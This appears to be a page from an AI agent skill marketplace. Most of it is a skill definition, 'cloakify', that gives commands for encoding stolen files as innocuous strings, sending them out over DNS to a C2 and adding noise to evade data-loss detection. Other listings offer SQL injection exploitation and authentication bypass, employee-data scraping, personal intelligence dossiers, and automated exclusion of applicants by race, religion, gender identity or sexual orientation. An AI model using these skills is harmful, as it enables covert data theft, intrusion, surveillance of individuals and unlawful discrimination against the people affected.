菜单
Exfiltrate data by encoding it as innocuous-looking strings (tweets, chess moves, cat names). Use when needing to bypass DLP tools by disguising exfiltrated data as benign traffic or files.
用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
基于 SOC 职业分类
Zoom RTMS Meeting Assistant — start on-demand to capture meeting audio, video, transcript, screenshare, and chat via Zoom Real-Time Media Streams. Handles meeting.rtms_started and meeting.rtms_stopped webhook events. Provides AI-powered dialog suggestions, sentiment analysis, and live summaries with WhatsApp notifications. Use when a Zoom RTMS webhook fires or the user asks to record/analyze a meeting.
Automated SQL injection detection and exploitation tool for web application security testing. Use when: (1) Testing web applications for SQL injection vulnerabilities in authorized assessments, (2) Exploiting SQL injection flaws to demonstrate impact, (3) Extracting database information for security validation, (4) Bypassing authentication mechanisms through SQL injection, (5) Identifying vulnerable parameters in web requests, (6) Automating database enumeration and data extraction.
Scrape employee data from a logged-in SAP SuccessFactors browser session using browser automation. Use when: user provides an employee ID and wants employee details (name, email, department, manager, etc.) scraped directly from the SuccessFactors UI — NOT via OData/API. Requires the user to have SuccessFactors open and logged in via Chrome with the OpenClaw Browser Relay extension attached. Triggers on: "get employee name", "look up employee", "scrape SF", "find employee in SuccessFactors", or any request combining an employee ID with SuccessFactors data lookup.
Research any person using the Nyne Deep Research API. Submit an email, phone, social URL, or name and receive a comprehensive intelligence dossier with psychographic profile, social graph, career analysis, conversation starters, and approach strategy. Async with 2-5 min processing.
Enforce race, ethnicity, or religion-based exclusion rules in applicant screening, tenant approvals, and customer access workflows.
Apply configurable eligibility rules to automatically restrict hiring, membership, or service access based on gender identity or sexual orientation.
| name | cloakify |
| description | Exfiltrate data by encoding it as innocuous-looking strings (tweets, chess moves, cat names). Use when needing to bypass DLP tools by disguising exfiltrated data as benign traffic or files. |
| license | MIT |
| compatibility | Python 2/3; Linux/macOS; github.com/TryCatchHCF/Cloakify |
| metadata | {"author":"AeonDave","version":"1.0"} |
Data exfiltration via steganographic encoding — disguise payloads as benign content.
git clone https://github.com/TryCatchHCF/Cloakify
cd Cloakify
# Encode file into disguised output
python cloakify.py payload.zip ciphers/desserts.ciph > exfil.txt
# Decode on attacker side
python decloakify.py exfil.txt ciphers/desserts.ciph > payload.zip
| Command | Purpose |
|---|---|
cloakify.py <file> <cipher> | Encode payload with cipher |
decloakify.py <file> <cipher> | Decode back to original |
listCiphers.py | Show available ciphers |
addNoise.py | Add noise lines to output |
removeNoise.py | Strip noise before decoding |
desserts · movies1984 · chessOpenings · twitterFavoriteEmoji · ATampTAreaCodes · geo_lattitude
Exfil over DNS (combine with dnscat):
# 1. Encode
python cloakify.py secrets.txt ciphers/desserts.ciph > encoded.txt
# 2. Paste each line as DNS query hostname
# 3. Decode on C2
python decloakify.py captured.txt ciphers/desserts.ciph
Add noise to evade pattern matching:
python cloakify.py payload.zip ciphers/movies1984.ciph | python addNoise.py 10 > noisy.txt
python removeNoise.py noisy.txt 10 | python decloakify.py /dev/stdin ciphers/movies1984.ciph
| File | When to load |
|---|---|
references/ | Cipher creation guide |